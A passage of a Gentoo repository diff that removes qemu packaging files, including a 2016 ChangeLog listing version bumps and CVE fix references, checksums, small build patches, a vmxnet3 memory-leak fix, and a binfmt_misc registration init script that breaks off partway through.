|
||||
*qemu-2.6.0 (17 May 2016)
|
||||
|
||||
17 May 2016; Mike Frysinger <vapier@gentoo.org> +qemu-2.6.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
version bump to 2.6.0 #583212
|
||||
|
||||
17 May 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.1-xfs-linux-headers.patch, qemu-2.5.1.ebuild:
|
||||
workaround breakage in xfs/linux headers #577810
|
||||
|
||||
Add upstream patch to workaround some combinations of xfsprogs & linux
|
||||
headers so we don't have to worry about stable breakage anymore. This
|
||||
fix is already in upstream & unstable versions.
|
||||
|
||||
18 May 2016; Austin English <wizardedit@gentoo.org>
|
||||
files/qemu-binfmt.initd-r1:
|
||||
use #!/sbin/openrc-run instead of #!/sbin/runscript
|
||||
|
||||
06 Jun 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r2.ebuild,
|
||||
qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
depend on jpeg SLOT=0 for building
|
||||
|
||||
07 Jun 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.6.0-crypto-static.patch, qemu-2.6.0.ebuild, qemu-9999.ebuild:
|
||||
fix static linking errors w/curl[ssl,curl_ssl_openssl]
|
||||
|
||||
21 Jun 2016; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
drop kvm_stat to match upstream #586158
|
||||
|
||||
29 Jun 2016; Alexey Shvetsov <alexxy@gentoo.org> qemu-2.5.0-r2.ebuild,
|
||||
qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
adapt sys-infiniband to sys-fabric rename
|
||||
|
||||
Package-Manager: portage-2.3.0_rc1
|
||||
|
||||
01 Aug 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.1.ebuild,
|
||||
qemu-2.6.0.ebuild, qemu-9999.ebuild:
|
||||
handle bzip2 dep #589968
|
||||
|
||||
The block layer uses it to support bzip2 compression in dmg images.
|
||||
That code makes it into softmmu binaries and userland utils.
|
||||
|
||||
07 Aug 2016; Luca Barbato <lu_zero@gentoo.org>
|
||||
+files/qemu-2.6.0-glib-size_t.patch, qemu-2.6.0.ebuild:
|
||||
Drop a -Werror when it could cause a false positive
|
||||
|
||||
The check code could trigger recent compiler warnings.
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
|
||||
15 Aug 2016; Luca Barbato <lu_zero@gentoo.org> files/qemu-binfmt.initd-r1:
|
||||
Update ppc magic mask
|
||||
|
||||
Unbreak using qemu-user with current stage3.
|
||||
|
||||
Package-Manager: portage-2.3.0
|
||||
|
||||
21 Aug 2016; Luca Barbato <lu_zero@gentoo.org> qemu-9999.ebuild:
|
||||
Update the languages list
|
||||
|
||||
Package-Manager: portage-2.3.0
|
||||
|
||||
21 Aug 2016; Luca Barbato <lu_zero@gentoo.org> qemu-9999.ebuild:
|
||||
Drop a patch
|
||||
|
||||
It is already upstreamed.
|
||||
|
||||
Package-Manager: portage-2.3.0
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> -qemu-2.5.0-r2.ebuild,
|
||||
-qemu-2.5.0-r3.ebuild:
|
||||
remove vulnerable 2.5.0
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
*qemu-2.7.0 (05 Sep 2016)
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> +qemu-2.7.0.ebuild:
|
||||
version bump to 2.7.0, various security fixes
|
||||
|
||||
3af9187fc6caaf415ab9c0c6d92c9678f65cb17f -> CVE-2016-4001, bug #579734
|
||||
3a15cc0e1ee7168db0782133d2607a6bfa422d66 -> CVE-2016-4002, bug #579734
|
||||
c98c6c105f66f05aa0b7c1d2a4a3f716450907ef -> CVE-2016-4439, bug #583496
|
||||
6c1fef6b59563cc415f21e03f81539ed4b33ad90 -> CVE-2016-4441, bug #583496
|
||||
06630554ccbdd25780aa03c3548aaff1eb56dffd -> , bug #583952
|
||||
844864fbae66935951529408831c2f22367a57b6 -> CVE-2016-5337, bug #584094
|
||||
b60bdd1f1ee1616b7a9aeeffb4088e1ce2710fb2 -> , bug #584102
|
||||
1b85898025c4cd95dce673d15e67e60e98e91731 -> , bug #584146
|
||||
521360267876d3b6518b328051a2e56bca55bef8 -> CVE-2016-4453, bug #584514
|
||||
4e68a0ee17dad7b8d870df0081d4ab2e079016c2 -> CVE-2016-4454, bug #584514
|
||||
a6b3167fa0e825aebb5a7cd8b437b6d41584a196 -> CVE-2016-5126, bug #584630
|
||||
ff589551c8e8e9e95e211b9d8daafb4ed39f1aec -> CVE-2016-5338, bug #584918
|
||||
d3cdc49138c30be1d3c2f83d18f85d9fdee95f1a -> CVE-2016-5238, bug #584918
|
||||
1e7aed70144b4673fc26e73062064b6724795e5f -> , bug #589924
|
||||
afd9096eb1882f23929f5b5c177898ed231bac66 -> CVE-2016-5403, bug #589928
|
||||
eb700029c7836798046191d62d595363d92c84d4 -> CVE-2016-6835, bug #591244
|
||||
ead315e43ea0c2ca3491209c6c8db8ce3f2bbe05 -> CVE-2016-6834, bug #591374
|
||||
6c352ca9b4ee3e1e286ea9e8434bd8e69ac7d0d8 -> CVE-2016-6833, bug #591380
|
||||
47882fa4975bf0b58dd74474329fdd7154e8f04c -> CVE-2016-6888, bug #591678
|
||||
|
||||
805b5d98c649d26fc44d2d7755a97f18e62b438a
|
||||
56f101ecce0eafd09e2daf1c4eeb1377d6959261
|
||||
fff39a7ad09da07ef490de05c92c91f22f8002f2 -> , bug #592430
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
|
||||
+files/qemu-2.7.0-CVE-2016-6836.patch, qemu-2.7.0.ebuild:
|
||||
apply patch for CVE-2016-6836, bug #591242
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> -qemu-2.6.0.ebuild,
|
||||
qemu-2.7.0.ebuild:
|
||||
drop vulnerable 2.6.0
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
|
||||
-files/qemu-2.5.0-9pfs-segfault.patch,
|
||||
-files/qemu-2.5.0-CVE-2015-8567.patch,
|
||||
-files/qemu-2.5.0-CVE-2015-8613.patch,
|
||||
-files/qemu-2.5.0-CVE-2015-8619.patch,
|
||||
-files/qemu-2.5.0-CVE-2015-8701.patch,
|
||||
-files/qemu-2.5.0-CVE-2015-8743.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-1568.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-1714.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-1922.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-1981.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-2197.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-2392.patch,
|
||||
-files/qemu-2.5.0-ne2000-reg-check.patch,
|
||||
-files/qemu-2.5.0-usb-ehci-oob.patch,
|
||||
-files/qemu-2.5.0-usb-ndis-int-overflow.patch,
|
||||
-files/qemu-2.6.0-crypto-static.patch, -files/qemu-2.6.0-glib-size_t.patch:
|
||||
drop obsolete patches
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> qemu-2.7.0.ebuild:
|
||||
fix installation with USE=python, bug #592908
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
05 Sep 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.7.0.ebuild:
|
||||
amd64 stable wrt bug #592430
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
05 Sep 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.7.0.ebuild:
|
||||
x86 stable wrt bug #592430
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
|
||||
-files/qemu-2.5.0-CVE-2015-8558.patch,
|
||||
-files/qemu-2.5.0-CVE-2016-2198.patch,
|
||||
-files/qemu-2.5.0-rng-stack-corrupt-0.patch,
|
||||
-files/qemu-2.5.0-rng-stack-corrupt-1.patch,
|
||||
-files/qemu-2.5.0-rng-stack-corrupt-2.patch,
|
||||
-files/qemu-2.5.0-rng-stack-corrupt-3.patch,
|
||||
-files/qemu-2.5.1-CVE-2015-8558.patch,
|
||||
-files/qemu-2.5.1-CVE-2016-4020.patch,
|
||||
-files/qemu-2.5.1-stellaris_enet-overflow.patch,
|
||||
-files/qemu-2.5.1-xfs-linux-headers.patch, -qemu-2.5.1.ebuild:
|
||||
drop vulnerable 2.5.1, bug #592430, and 19 others
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,12 +0,0 @@
|
||||
AUX 65-kvm.rules 40 SHA256 c16a8dc7855880b2651f1a3ff488ecc54d4ac1036c71fffd5007021d8d18a7c5 SHA512 98aad2a2f212a7ac0ee5b60a9c92744fa462bce5f26594845c7a31d692aaaca2d52cb57bdbede7dfc60b9862c2a6510665dbb03215d5cf76e62516a283decdd6 WHIRLPOOL 937de93a23930f6b8533f0c3e0dd249c99ddf7d54446dea857607266ac0a4b435c5b4a52b2986b138bace9c0a7ade66f94116b38e2bc4767ead54bd11baf0920
|
||||
AUX bridge.conf 454 SHA256 a51850dd39923f3482e4c575b48ad9fef9c9ebb2f2176225da399b79ce48c69d SHA512 a907ee86b81a1b61033bb7621ded65112504131ef7b698c53e4014b958ee6fc79e66f63069015a01e41362cb70a7d0ed26dd9a03033cf776f4846f0e1f8f1533 WHIRLPOOL 8fcbd4abf9b8f7ca3d16fe0eaf17196ebf708dfecf85ce0f020e0de22b64905114f7b310f361826c81bb961c6b1bbbf984bff1e595bb949993b8966ccb222c35
|
||||
AUX qemu-2.5.0-cflags.patch 410 SHA256 17f5624dd733f5c80e733cc67ae36a736169ec066024dbf802b416accfed0755 SHA512 0194d28de08b4e51c5bd1c9a2cc7965ba7f66dfddb8fd91de3da93677e6cf2d38ad3270f69aaea8a20cf2533c2980018d6e0fed711be2806fe2053fba7c081f3 WHIRLPOOL 5f5b95d00409fbe03adb64801d30a2fb5f98dded5efa7f0e78b5746776f72917dcbea767e1d0afcb304d8bf8c484adedb8037e6d54e9d34997c2bc3a98b53154
|
||||
AUX qemu-2.5.0-sysmacros.patch 333 SHA256 a5716fc02da383d455f5cbd76f49e4ee74d84c2d5703319adcbeb145d04875f9 SHA512 329632c5bff846ca3ffcdb4bc94ae62f17c6bdbb566f9bec0784357c943523e8ca7773790b83a9617734cab3b003baa3d636cbd08f7385810a63b0fa0383c4f0 WHIRLPOOL 2a774767d4685545d3ed18e4f5dece99a9007597d73c56197652ff24083550f987ffb69e5c624760dece87def71a7c5c22a694bf999d7309e48ef622f18f0d73
|
||||
AUX qemu-2.7.0-CVE-2016-6836.patch 889 SHA256 a94812131e8baa66b81971579ab84b20bf15d544e2698448a5247ac0ddca0b3d SHA512 cf7f327f26aee5b6688eb662ced8aa07775ad9558b4a02db244303f6b7d37be9cd19b18d5725819b4708184105b98830864e0ad3af81373e59e880809036345b WHIRLPOOL df00627ad447162fdcac4b2c965a8cb5c916a7fb66d8c3a4f8f48bb2d869d7805cb3308cd495ff74ebf4840e7bc2d85abf8e666d78b3da9abb4e2bae22697a82
|
||||
AUX qemu-binfmt.initd-r1 7966 SHA256 5b4b432aa1e44f387c9eb789de0ec6322741fd36dd241f76520f17c6cd6ac49b SHA512 2ba0bff6eb2b6bac4ed440f793771ce9551cad48e38bddb6cf04f804faac2407e80879f66771910344ddcea45f0014095dcc8bfeb0aad5085ef048fd3612dbd8 WHIRLPOOL a2a1fb830a970757d1e203378c7d382b161b1040f3b8aaf0f22bb3b5e46467eff395474ff40d93c9f133bab307b345a6f75d63eae9f8dd8daf67324db41032f9
|
||||
DIST qemu-2.7.0.tar.bz2 26867760 SHA256 326e739506ba690daf69fc17bd3913a6c313d9928d743bd8eddb82f403f81e53 SHA512 654acaa7b3724a288e5d7e2a26ab780d9c9ed9f647fba00a906cbaffbe9d58fd666f2d962514aa2c5b391b4c53811ac3170d2eb51727f090bd19dfe45ca9a9db WHIRLPOOL dcb3e5f7da89dd8e14d636d7ebd476e076e0043880bb9ea3fb1c03cb4bcd4e5c7d3c4719da26c3ce521e3a3db5ae671e86f198ac1bc3474e774d75504fef8b8d
|
||||
EBUILD qemu-2.7.0.ebuild 20516 SHA256 987648bd2fd0f1ebf45493698ec2b9ed2e16d6abb38fd48eb793ef3b6d55c55b SHA512 bf0cd8fa256036002771d3e5476970d50ffc6b86c8b6a9b5a0048c4ac992b816fb5585d2fd1485b3adda3a55737b32e8e1f07bcea4200d3bac0a9ac98840e181 WHIRLPOOL 3f9b559d60a933339a52de83004632bdfc8c45285013cef86a5f99fe580eafa7443ea5cae9399b54865bb05bc1007492575f98ac109b2a17d37d10d44d8874bf
|
||||
EBUILD qemu-9999.ebuild 20465 SHA256 0722782a27bbb312bc9bede6a556fd6f086e6c056cb4b8b197e3ec8c10801945 SHA512 3f5130a9cffb1cdf7460693e777c82ec289649ba74367417f1a865f7231a976de234b2be5c2882eeb358d1aecb2e59f3ddf8bd28a66be17bea4ef58b122564ae WHIRLPOOL a009c51c5f08c6e9ee89467b47eef435fd68b97c3e253a300662cf476f119ad4c96911040a72570d1f2aef3d44128b0c5544008918764430e0f9f0dde94b16ad
|
||||
MISC ChangeLog 28480 SHA256 20cb806ded220afccc77c70ce040291665a4325b627cdc0f975f66919006aedb SHA512 93aa1616116d1d5e0456e14c86773373a65febd9128e72400ffeb7db5ee4721ceba0dc53607d86435049cbd910846b4197f2b15b00f39de601efaa6c90d8b9f3 WHIRLPOOL a54f9b7c1260a190174240edae87e47b7b9f39a51e8f1d03917748b2ea82e2e0721fb142cc7b33ce54e285deb8e4ba3fc483ab0c912f4ae28d3280777d9588f3
|
||||
MISC ChangeLog-2015 58193 SHA256 60c1a4f4c85515520ab14da920bbbf4a6813491ce16b5357a0456ea588815a5c SHA512 ddfe8e75aabe59b731a4a8b31839d8c71fd516620306d2bc99d7641cc501652974e053104caafa7550c5ad33b6834295f6743a98b9419d292b8bf6f67918ccd3 WHIRLPOOL a6841f79c3ba1cbf76a8c7fde296a2912c46ddd251494dca3bf3bc13391c80595b6f80125c383823899942248008ede7065b0f5c8e43f9bc1d0464aa62cc187f
|
||||
MISC metadata.xml 3925 SHA256 d1c219b7da0cbf77919cd1e055acbb3f6788a574fd802c98a43c89a411697b36 SHA512 3ff45d1c8ede12b4eedc7d01f39777b76a1cbd0ba9364299dec99d4b4a05cade5784d6f6e50197d5b5ae1f1b8e831c49da195eb53263c49b7d16aec8ee28b6e6 WHIRLPOOL bc25783fac0f3f13318834cc535404af9af20de16c7aeec222e59dc2ed7740ac5e767b329a5bcd6356d0cbae2428e278515f1446aa8ecb87a873bf4dbe04bf41
|
@ -1 +0,0 @@
|
||||
KERNEL=="kvm", GROUP="kvm", MODE="0660"
|
@ -1,14 +0,0 @@
|
||||
# This should have the following permissions: root:qemu 0640
|
||||
|
||||
# allow br0
|
||||
# Uncommenting the above would allow users in the 'qemu' group
|
||||
# to add devices to 'br0'
|
||||
|
||||
# allow virbr0
|
||||
# Uncommenting the above would allow users in the 'qemu' group
|
||||
# to add devices to 'virbr0'
|
||||
|
||||
# include /etc/qemu/bob.conf
|
||||
# Uncommenting the above would allow users in the 'bob' group
|
||||
# to have permissions defined in it, iff it has the following
|
||||
# permissions: root:bob 0640
|
@ -1,13 +0,0 @@
|
||||
--- a/configure
|
||||
+++ b/configure
|
||||
@@ -4468,10 +4468,6 @@ fi
|
||||
if test "$gcov" = "yes" ; then
|
||||
CFLAGS="-fprofile-arcs -ftest-coverage -g $CFLAGS"
|
||||
LDFLAGS="-fprofile-arcs -ftest-coverage $LDFLAGS"
|
||||
-elif test "$fortify_source" = "yes" ; then
|
||||
- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS"
|
||||
-elif test "$debug" = "no"; then
|
||||
- CFLAGS="-O2 $CFLAGS"
|
||||
fi
|
||||
|
||||
##########################################
|
@ -1,15 +0,0 @@
|
||||
Linux C libs are moving away from implicit header pollution with sys/types.h
|
||||
|
||||
--- a/include/qemu/osdep.h
|
||||
+++ b/include/qemu/osdep.h
|
||||
@@ -78,6 +78,10 @@ extern int daemon(int, int);
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
|
||||
+#ifdef __linux__
|
||||
+#include <sys/sysmacros.h>
|
||||
+#endif
|
||||
+
|
||||
#ifdef __OpenBSD__
|
||||
#include <sys/signal.h>
|
||||
#endif
|
@ -1,27 +0,0 @@
|
||||
From: Li Qiang <address@hidden>
|
||||
|
||||
In Vmxnet3 device emulator while processing transmit(tx) queue,
|
||||
when it reaches end of packet, it calls vmxnet3_complete_packet.
|
||||
In that local 'txcq_descr' object is not initialised, which could
|
||||
leak host memory bytes a guest.
|
||||
|
||||
Reported-by: Li Qiang <address@hidden>
|
||||
Signed-off-by: Prasad J Pandit <address@hidden>
|
||||
---
|
||||
hw/net/vmxnet3.c | 1 +
|
||||
1 file changed, 1 insertion(+)
|
||||
|
||||
diff --git a/hw/net/vmxnet3.c b/hw/net/vmxnet3.c
|
||||
index 90f6943..92f6af9 100644
|
||||
--- a/hw/net/vmxnet3.c
|
||||
+++ b/hw/net/vmxnet3.c
|
||||
@@ -531,6 +531,7 @@ static void vmxnet3_complete_packet(VMXNET3State *s, int qidx, uint32_t tx_ridx)
|
||||
|
||||
VMXNET3_RING_DUMP(VMW_RIPRN, "TXC", qidx, &s->txq_descr[qidx].comp_ring);
|
||||
|
||||
+ memset(&txcq_descr, 0, sizeof(txcq_descr));
|
||||
txcq_descr.txdIdx = tx_ridx;
|
||||
txcq_descr.gen = vmxnet3_ring_curr_gen(&s->txq_descr[qidx].comp_ring);
|
||||
|
||||
--
|
||||
2.5.5
|
@ -1,139 +0,0 @@
|
||||
#!/sbin/openrc-run
|
||||
# Copyright 1999-2016 Gentoo Foundation
|
||||
# Distributed under the terms of the GNU General Public License v2
|
||||
# $Id$
|
||||
|
||||
# enable automatic i386/ARM/M68K/MIPS/SPARC/PPC/s390 program execution by the kernel
|
||||
|
||||
# Defaulting to OC should be safe because it comes down to:
|
||||
# - do we trust the interp itself to not be malicious? yes; we built it.
|
||||
# - do we trust the programs we're running? ish; same permission as native
|
||||
# binaries apply. so if user can do bad stuff natively, cross isn't worse.
|
||||
: ${QEMU_BINFMT_FLAGS:=OC}
|
||||
|
||||
depend() {
|
||||
after procfs
|
||||
}
|
||||
|
||||
start() {
|
||||
ebegin "Registering qemu-user binaries (flags: ${QEMU_BINFMT_FLAGS})"
|
||||
|
||||
if [ ! -d /proc/sys/fs/binfmt_misc ] ; then
|
||||
modprobe -q binfmt_misc
|
||||
fi
|
||||
|
||||
if [ ! -d /proc/sys/fs/binfmt_misc ] ; then
|
||||
eend $? "You need support for 'misc binaries' in your kernel!" || return
|
||||
fi
|
||||
|
||||
if [ ! -f /proc/sys/fs/binfmt_misc/register ] ; then
|
||||
mount -t binfmt_misc binfmt_misc /proc/sys/fs/binfmt_misc >/dev/null 2>&1
|
||||
eend $? || return
|
||||
fi
|
||||
|
||||
# probe cpu type
|
||||
cpu=`uname -m`
|
||||
case "$cpu" in
|
||||
i386|i486|i586|i686|i86pc|BePC|x86_64)
|
||||
cpu="i386"
|
||||
;;
|
||||
m68k)
|
||||
cpu="m68k"
|
||||
;;
|
||||
mips*)
|
||||
cpu="mips"
|
||||
;;
|
||||
"Power Macintosh"|ppc|ppc64)
|
||||
cpu="ppc"
|
||||
;;
|
||||
armv[4-9]*)
|
||||
cpu="arm"
|
||||
;;
|
||||
sparc*)
|
||||
cpu="sparc"
|
||||
;;
|
||||
esac
|
||||
|
||||
# register the interpreter for each cpu except for the native one
|
||||
if [ $cpu != "i386" -a -x "/usr/bin/qemu-i386" ] ; then
|
||||
echo ':i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
echo ':i486:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x06\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-i386:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "alpha" -a -x "/usr/bin/qemu-alpha" ] ; then
|
||||
echo ':alpha:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x26\x90:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-alpha:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "arm" -a -x "/usr/bin/qemu-arm" ] ; then
|
||||
echo ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\x00\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "arm" -a -x "/usr/bin/qemu-armeb" ] ; then
|
||||
echo ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-armeb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "aarch64" -a -x "/usr/bin/qemu-aarch64" ] ; then
|
||||
echo ':aarch64:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb7\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-aarch64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "sparc" -a -x "/usr/bin/qemu-sparc" ] ; then
|
||||
echo ':sparc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sparc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "ppc" -a -x "/usr/bin/qemu-ppc" ] ; then
|
||||
echo ':ppc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-ppc:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "m68k" -a -x "/usr/bin/qemu-m68k" ] ; then
|
||||
#echo 'Please check cpu value and header information for m68k!'
|
||||
echo ':m68k:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-m68k:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips" ] ; then
|
||||
# FIXME: We could use the other endianness on a MIPS host.
|
||||
echo ':mips:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsel" ] ; then
|
||||
echo ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32" ] ; then
|
||||
echo ':mipsn32:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mipsn32:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mipsn32el" ] ; then
|
||||
echo ':mipsn32el:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsn32el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64" ] ; then
|
||||
echo ':mips64:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips64:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "mips" -a -x "/usr/bin/qemu-mips64el" ] ; then
|
||||
echo ':mips64el:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mips64el:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4" ] ; then
|
||||
echo ':sh4:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-sh4:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "sh" -a -x "/usr/bin/qemu-sh4eb" ] ; then
|
||||
echo ':sh4eb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sh4eb:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
if [ $cpu != "s390x" -a -x "/usr/bin/qemu-s390x" ] ; then
|
||||
echo ':s390x:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x16:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-s390x:'"${QEMU_BINFMT_FLAGS}" > /proc/sys/fs/binfmt_misc/register
|
||||
fi
|
||||
eend $?
|
||||
}
|
||||
|
||||
stop() {
|
||||
ebegin "Unregistering qemu-user binaries"
|
||||
local arches
|
||||
|
||||
arches="${arches} i386 i486"
|
||||
arches="${arches} alpha"
|
||||
arches="${arches} arm armeb"
|
||||
arches="${arches} aarch64"
|
||||
arches="${arches} sparc"
|
||||
arches="${arches} ppc"
|
||||
arches="${arches} m68k"
|
||||
arches="${arches} mips mipsel mipsn32 mipsn32el mips64 mips64el"
|
||||
arches="${arches} sh4 sh4eb"
|
||||
arches="${arches} s390x"
|
||||
|
||||
for a in ${arches}; do
|
||||
if [ -f /proc/sys/fs/binfmt_misc/$a ] ; then
|
||||
echo '-1' > /proc/sys/fs/binfmt_misc/$a
|
